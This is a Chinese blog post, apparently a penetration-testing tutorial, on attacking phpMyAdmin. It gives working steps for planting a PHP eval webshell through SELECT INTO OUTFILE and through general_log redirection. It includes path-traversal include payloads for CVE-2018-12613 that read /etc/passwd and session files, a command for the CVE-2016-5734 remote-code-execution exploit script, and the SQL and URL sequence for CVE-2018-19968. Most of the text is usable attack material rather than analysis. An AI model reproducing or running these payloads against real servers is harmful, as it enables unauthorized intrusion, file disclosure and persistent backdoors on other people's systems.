phpmyadmin漏洞利用

phpmyadmin漏洞利用

获取版本信息

访问

1
2
3
4
5
6
7
readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

getshell

使用爆破工具 , 或者得到账号密码 直接登录

写入文件

1
2
3
4
5
条件

拥有root权限
网站路径
拥有写权限
  1. 获取路径方法
1
2
3
4
5
6
7
8
9
phpinfo  
某些网站安装完成后 测试文件可能没有删除 phpinfo.php、info.php、1.php、test.php

查寻mysql路径猜测web路径
select @@datadir as dataPath from dual ;
或者
show variables Like '%datadir%';

load_file读取网站配置文件 index.php 或者 /etc/passwd等等
  1. 查询写权限
1
2
3
4
5
6
7
SHOW VARIABLES LIKE 'secure_file_priv'

secure_file_priv作用
1. 限制load data, select ... outfile, load_file()等
2. 值为null时 , 表示限制mysql为不允许导入导出
3. 值为/tmp/时 , 表示导入 导出只在/tmp目录下
4. 没有值时表示不限制
  1. 写一句话
1
select "<?php @eval($_POST[123]);?>" into outfile "\\xx\\xx\\xxx.php"

批注 2020-07-26 214438

利用日志getshell

  1. 开启日志

    1
    2
    查看日志是否开启
    SHOW VARIABLES LIKE 'general_log%'

    批注 2020-07-26 214730

  2. 开启日志

    1
    2
    3
    4
    5
    6
    开启日志
    set global general_log='on';
    修改日志路径
    set global general_log_file="xx\\xx\\xx\\xx.php";
    查看开启情况
    SHOW VARIABLES LIKE "general_log%";

    批注 2020-07-26 215200

  3. 写入shell

    1
    任意执行sql语句

    批注 2020-07-26 215351

批注 2020-07-26 215338

cve-2018-12613后台文件包含

版本4.8.0和4.8.1

漏洞分析

index.php 55-63行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
1. 存在target参数
2. 参数为字符串
3. 不能以index开头
4. target里不能含有黑名单字符
5. 进行checkPageValidity()函数检查

$target_blacklist

index.php 50-52行

1
2
3
$target_blacklist = array (
'import.php', 'export.php'
);

checkPageValidity()函数

Core.php 443-476行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
//$whitelist变量是否为空 , 为空就赋值为self::$goto_whitelist;
if (! isset($page) || !is_string($page)) {
return false;
}
//变量是否设置且不为空或者不是字符串
if (in_array($page, $whitelist)) {
return true;
}
//$page中是否存在$whitelist中的值
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//截取?之间的字符串
if (in_array($_page, $whitelist)) {
return true;
}
//是否存在$whitelist中的值

$_page = urldecode($page);
//进行urldecode解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//截取?之间的值
if (in_array($_page, $whitelist)) {
return true;
}
//是否存在$whitelist中的值

return false;
}

原意是当target值带有参数时能够正确包含 , 但是当传有?或者%3f或者%253f和前面的字符串在$whitelist里面时都会使其绕过检查

$whitelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

要利用的就是index.php中的include函数 , 则需要checkPageValidity()函数返true

payload

1
2
3
?target=db_datadict.php?/../../../../../../../../etc/passwd
?target=db_datadict.php%3f/../../../../../../../../etc/passwd
?target=db_datadict.php%253f/../../../../../../../../etc/passwd

这些都可以绕过

利用方法

  1. 包含敏感文件

  2. 包含上传文件

  3. 开启并包含日志

  4. 包含phpsession文件

    1
    2
    3
    先执行一句sql语句 select '<?php phpinfo();?>';
    包含?target=db_datadict.php%253f/../../../tmp/tmp/sess_xxxxx
    phpsession文件名在cookie中找到

CVE-2016-5734 RCE

影响版本

1
2
phpmyadmin4.3.0-4.6.2
PHP 4.3.0-5.4.6

漏洞原因

1
在php5.4.7以前 , preg_replace函数有漏洞 , 可以/0进行截断,将正则修改为/e模式,从而执行命令

使用脚本攻击

1
2
searchsploit phpmyadmin
python3 40185.py -u root - root -d test -c "system(whoami)" http://ip:port/

CVE-2018-19968

参考: https://xz.aliyun.com/t/3634

影响版本: phpMyAdmin 4.8.0~4.8.3

原因

1
2
3
Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。

利用

1
2
3
4
登录后台后创建数据库
CREATE DATABASE test111;
CREATE TABLE test111.test1111 ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO test111.test1111 SELECT '<?php phpinfo(); ?>';

访问http://target/com/chk_rel.php?fixall_pmadb=1&db=test111

1
2
3
插入数据 , 执行
INSERT INTO pma__column_info SELECT '1', 'test111', 'test1111', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_9r15lk5a27asrbb6hl8hffv6cp','plop';
xxx换成cookie中的phpmyadmin值

访问/tbl_replace.php?db=test111&table=test1111&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!